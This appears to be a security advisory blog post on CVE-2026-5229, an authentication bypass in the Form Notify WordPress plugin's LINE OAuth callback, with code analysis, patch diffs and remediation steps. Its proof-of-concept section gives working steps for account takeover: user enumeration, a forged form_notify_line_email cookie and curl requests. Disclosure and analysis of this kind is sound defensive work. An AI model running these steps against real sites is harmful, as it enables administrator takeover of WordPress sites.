Receive Notifications After Form Submitting – Form Notify for Any Forms WordPress plugin banner

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

CVE-2026-5229 is a CVSS 9.8 Critical Authentication Bypass vulnerability in the Receive Notifications After Form Submitting – Form Notify for Any Forms WordPress plugin. An unauthenticated attacker can complete a LINE OAuth flow with their own LINE account and, by exploiting a missing account-linkage check, log in as any WordPress user — including administrators — with no credentials required.

Vulnerability Summary

FieldValue
Plugin NameReceive Notifications After Form Submitting – Form Notify for Any Forms
Plugin Slugform-notify
CVE IDCVE-2026-5229
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeAuthentication Bypass
Affected Versions<= 1.1.10
Patched Version1.1.11
PublishedMay 14, 2026
ResearcherNabil Irawan - Heroes Cyber Security
Wordfence AdvisoryLink

Description

Form Notify is a WordPress plugin that sends notifications to site owners and users after form submissions. It supports LINE Login — an OAuth 2.0 integration that lets visitors authenticate using their LINE account.

The vulnerability lives in the LINE OAuth callback handler. After a user completes the LINE authorization flow, the plugin resolves the WordPress account to authenticate by looking up users based on the email address returned by LINE. It never checks whether the LINE account was previously linked to that WordPress account.

In versions up to 1.1.08, the attack is even simpler. When LINE provides no email, the plugin reads the form_notify_line_email cookie directly from the browser. An attacker can set this cookie to any target email before starting the OAuth flow. With any LINE account — including a fresh account with no email — the attacker is authenticated as the WordPress user whose email matches the cookie.

In versions 1.1.09 and 1.1.10, the cookie fallback was partially removed, but the root cause remained: the plugin still resolved accounts by email, with no linkage check.

Technical Analysis

The Vulnerable Callback Endpoint

The LINE OAuth callback is registered as a public REST API endpoint in src/APIs/Line/Login/Route.php:

register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // no authentication required
        },
    )
);

The endpoint is fully public. Any visitor can send requests to GET /wp-json/form-notify/v1/callback.

Account Resolution by Email (1.1.10)

After exchanging the LINE authorization code for a token, the callback handler resolves the email to use for account lookup (Route.php, lines 115–116):

$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';

When LINE provides an email (which happens whenever the user grants the email scope during authorization), $user_email is set to the LINE account’s email. The handler then calls is_member() in User.php to find the matching WordPress account:

public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user    = get_user_by( 'email', $user_email );  // lookup by email only
    $this->roles[] = $this->user->roles;
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;
    }
    return false;
}

get_user_by('email', $user_email) returns any WordPress user with that email. There is no check that the LINE account was previously linked to, or authorized by, that WordPress account.

If is_member() returns true, the login() method immediately authenticates the request as the matched user:

public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
        // ...
    }
}

The only thing standing between an unauthenticated visitor and a full session as any user is whether the attacker can control what email appears in $user->email — and LINE’s email registration makes this feasible.

Versions up to 1.1.08 contain an additional, more direct attack path. In Route.php (1.1.08), lines 115–118:

if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field( wp_unslash( $_COOKIE['form_notify_line_email'] ) );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

When LINE’s profile returns no email ($user->email is empty), the plugin reads the form_notify_line_email cookie and uses it as the account email. Because this cookie is set by the browser, the attacker controls it completely.

An attacker with any LINE account (even one with no email configured) can set the cookie to a target’s email, start the OAuth flow, and be authenticated as that user — including administrators.

State Verification Weakness

The state check in get_api_callback() has a silent fallback:

$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    $session_state = sanitize_text_field( wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] ) );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

If no transient exists (e.g., expired), the code tries to read from $_SESSION. On many WordPress setups $_SESSION is not populated at this point, making $session_state an empty string. Because $state from the URL parameter is also anything the attacker controls, this fallback may be exploitable to bypass the state check — further widening the attack surface.

Secondary Issue: Email as Password (≤ 1.1.10)

In the sign_up() method, new accounts are created with the user’s email address as their password:

$userdata = array(
    'user_pass' => $user_email,  // password = email address
    ...
);

This allows trivial brute-force or direct login against any account created through the LINE OAuth flow.

Proof of Concept

Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.

Prerequisites

This path works regardless of whether your LINE account has an email configured.

Step 1: Identify the target user’s email.

WordPress’s default REST API endpoint often returns user information:

curl -s 'https://target.com/wp-json/wp/v2/users'

You can also check the lost password form, author pages, or admin contact information.

Step 2: Set the malicious cookie in your browser.

Open browser developer tools on the target site and run in the console:

document.cookie = "form_notify_line_email=admin@target.com; path=/";

Step 3: Initiate the LINE OAuth flow.

curl -v -b 'form_notify_line_email=admin@target.com' \
  'https://target.com/wp-json/form-notify/v1/login' 2>&1 | grep Location

Copy the LINE OAuth URL from the Location header and open it in your browser.

Step 4: Complete LINE OAuth using your own LINE account.

On the LINE consent screen, do NOT grant email access (or use a LINE account with no email). LINE will redirect back to the callback URL without providing an email. The plugin will fall back to the cookie.

Step 5: Verify the session.

After the redirect, you are now authenticated as admin@target.com. Navigate to /wp-admin/ or check:

curl -s -b 'wordpress_logged_in_XXXX=...' \
  'https://target.com/wp-json/wp/v2/users/me' | python3 -m json.tool

The response will show the administrator account details.

Path B — Email Match (versions ≤ 1.1.10)

This path requires your LINE account to be registered with the target user’s email.

Step 1: Identify the target user’s email (same as Path A, Step 1).

Step 2: Register a LINE account using the target’s email address.

Go to account.line.biz and create an account with the target’s email. LINE requires email verification; this step requires access to the target inbox.

Step 3: Initiate the LINE OAuth flow on the target site.

https://target.com/wp-json/form-notify/v1/login

Step 4: Complete LINE OAuth, granting email permission.

On the consent screen, grant the email scope. LINE will return your LINE account’s email (the target’s email) in the profile.

Step 5: The callback authenticates you as the target user.

The plugin calls is_member('admin@target.com')get_user_by('email', 'admin@target.com') → finds the administrator → calls login() → you are authenticated as admin.

Patch Analysis

Version 1.1.11 addresses the vulnerability with multiple coordinated changes.

User.phpis_member() now looks up by LINE user ID, not email:

-public function is_member( string $user_email, string $user_avatar ): bool {
-    $this->user    = get_user_by( 'email', $user_email );
-    $this->roles[] = $this->user->roles;
-    if ( ! is_wp_error( $this->user ) && $this->user ) {
-        return true;
-    }
-    return false;
+public function is_member( string $user_raw_id ): bool {
+    if ( empty( $user_raw_id ) ) {
+        return false;
+    }
+    $query = new \WP_User_Query( array(
+        'meta_key'   => 'form_notify_line_user_id',
+        'meta_value' => $user_raw_id,
+        'number'     => 1,
+        'fields'     => 'all',
+    ) );
+    $results = $query->get_results();
+    if ( empty( $results ) ) {
+        return false;
+    }
+    $this->user  = $results[0];
+    $this->roles = (array) $this->user->roles;
+    return true;
 }

The fix binds the account lookup to the LINE user ID (user->sub) stored in user meta. An attacker controlling the email cannot match an account that has never logged in through LINE before.

Route.php — callback now passes LINE user ID to is_member():

-if ( $user_obj->is_member( $user_email, $user_avatar ) ) {
+if ( $user_obj->is_member( $user_raw_id ) ) {

sign_up() — prevents account creation when email already exists:

+if ( $has_real_email && email_exists( $user_email ) ) {
+    wp_safe_redirect( home_url() );
+    exit;
+}

This prevents an attacker from creating a shadow account using an existing user’s email address.

Additional security improvements in 1.1.11:

Timeline

DateEvent
UnknownVulnerability introduced in Form Notify
May 14, 2026Wordfence publicly published the advisory
May 2026Version 1.1.11 released with comprehensive security fix

Remediation

Update Form Notify to version 1.1.11 or later immediately.

  1. Log in to your WordPress admin dashboard
  2. Go to Plugins → Installed Plugins
  3. Find Receive Notifications After Form Submitting – Form Notify for Any Forms
  4. Click Update Now

You can also download the latest version directly from wordpress.org/plugins/form-notify/.

If you cannot update immediately, consider deactivating the LINE Login feature in the plugin settings until the update is applied.

References

  1. Wordfence Advisory — CVE-2026-5229
  2. CVE Record — CVE-2026-5229
  3. Trac — User.php#L72 (trunk)
  4. Trac — User.php#L72 (1.1.08)
  5. Trac — Route.php#L116-118 (trunk)
  6. Trac — Route.php#L116-118 (1.1.08)
  7. Trac — User.php#L53 (trunk)
  8. Trac — User.php#L53 (1.1.08)
  9. Trac Changeset
  10. GitHub Commit — 5eab0ea
  11. GitHub Commit — 9780764

Frequently Asked Questions

What is CVE-2026-5229?

CVE-2026-5229 is a CVSS 9.8 Critical authentication bypass vulnerability in the Form Notify WordPress plugin. An unauthenticated attacker can log in as any WordPress user, including administrators, by abusing the plugin's LINE OAuth callback.

Which versions of Receive Notifications After Form Submitting – Form Notify for Any Forms are affected by CVE-2026-5229?

All versions up to and including 1.1.10 are affected. Version 1.1.11 contains the fix.

What can an attacker do with CVE-2026-5229?

An attacker can take over any WordPress account on the site. Because administrator accounts are targetable, this leads to full site compromise, including installing plugins, modifying content, and stealing user data.

Does an attacker need to be logged in to exploit CVE-2026-5229?

No. Any visitor can trigger this vulnerability without any prior account or credentials on the target site.

How do I fix CVE-2026-5229 in Receive Notifications After Form Submitting – Form Notify for Any Forms?

Update Form Notify to version 1.1.11 or later from the WordPress admin dashboard or wordpress.org.

Has Receive Notifications After Form Submitting – Form Notify for Any Forms been patched for CVE-2026-5229?

Yes. Version 1.1.11 was released in May 2026 and resolves this vulnerability by binding identity to the stored LINE user ID instead of the email address.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee